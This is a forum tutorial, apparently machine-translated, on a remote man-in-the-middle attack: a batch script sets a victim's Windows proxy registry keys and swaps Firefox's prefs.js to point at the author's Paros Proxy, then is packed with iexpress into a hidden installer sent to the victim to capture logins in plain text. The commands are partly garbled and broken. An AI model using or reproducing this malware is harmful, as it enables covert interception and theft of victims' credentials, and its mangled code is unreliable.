Forum Thread: Attack Man in the Middle Remotely [ by Mohamed Ahmed ]

Well in this tutorial I will explain a very easy way to carry out an MIM attack in a
remote way :)

  • We will need 2 things

) last version
2) Some Programming Language
(to do it quickly I decided to do it under batch aunq can be developed in another language)

First of all we opened some Port in Nuetro Modem I chose a high one eg 9669
We installed Paros Proxy, and we are going to section Tools / Options / Local Proxy
in Adress we place the ip of our pc that will provide the proxy service
and in Port the port where the service will run, in this case 9669
Once configured Paros Proxy we will program our malware

To achieve to edit the proxy through a batch in Firefox, we must understand that the configuration of proxies in Firefox is saved in the file prefs.js

Located in C: \ Documents and Settings \ " "\ Program data \ Mozilla \ Firefox \ Profiles \ 0sx27c3l.default \

0sx27c3l.default is a directory that will vary depending on the version and the pc where Firefox is installed.

Knowing this we need to create a prefs.js q contains the configuration of Proxy with the IP Public and port of the pc that runs Paros Proxy

Aca the Source of the same:

must Edit where IPPUBLICA says with the Paros Server Ip and where PUERTO says We open the Notepad and paste the following (the following Source changes the Proxy in the IE Registries) (They have the corresponding Port.

) Once we have created our prefs.js (we will now call it prefsh.js) we will program our Malware. q Replace with the Ip of the Paros Proxy Server where it says MIIPPUBLICA (ip publishes of its pc where Paros is run) and where it says Port by the corresponding Port) @echo off

HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Internet Settings "/ v ProxyServer / t REG_SZ / d ftp = MIIPPUBLICA: Port; http = MIIPPUBLICA: Port; https = MIIPPUBLICA: Port; socks = MIIPPUBLICA: Port / f

reg add / change / prefix / d /

copy prefsh.js c: \ prefsh.js

REM Here we replace the prefs.js with our prefsh.js

cd% APPDATA% \ Mozilla \ Firefox \ Profiles \ 0sx27c3l.default
delete prefs.js
copy c: \ prefsh.js% APPDATA% \ Mozilla \ Firefox \ Profiles \ prefs.js

exit

Aca falencia have a q sure someone will be able to clarify Underc0de , given that 0sx27c3l.default is a folder created at the time of installation

as you could achieve through batch find the name of that folder and then move inside it porq otherwise the previous source would not work

on all victims pcs

Think of moving first to% APPDATA% \ Mozilla \ Firefox \ Profiles then look for the file, with Dir prefs.js / s this would return the complete location of it

and therefore the name of this default folder, now how can I use this path or just remove the folder name and move inside it to succeed

with success prefs.js by prefsh.js?

At the end of this part, we will have 2 files, prefsh.js and batch and we will resort to our old friend iexpress

We will create a hidden execution package, we will put both files and establish the .bat for the post decompression execution.

Done this we will have 1 file that we should send to our victim, to execute all information that travel through the internet

will be redirected to our Proxy and we will be able to see it in unmounted text.

As you will see in the following photo, the user and password entered by PCVictima are reflected in Paros Proxy in plain text

Disclaimer: This Content Is Purely Educational, and I Do Not Answer for the Improper Use of It

I do not recommend this technique at all, since it sings a lot, when closing Proxy will crash the connection of the victim pc and also will leave posters in the browsers for lack of certificates, it is something archaic existing today's Trojans, but it is a way of understanding the sniffing at a remote level and a different way than usual to achieve it.
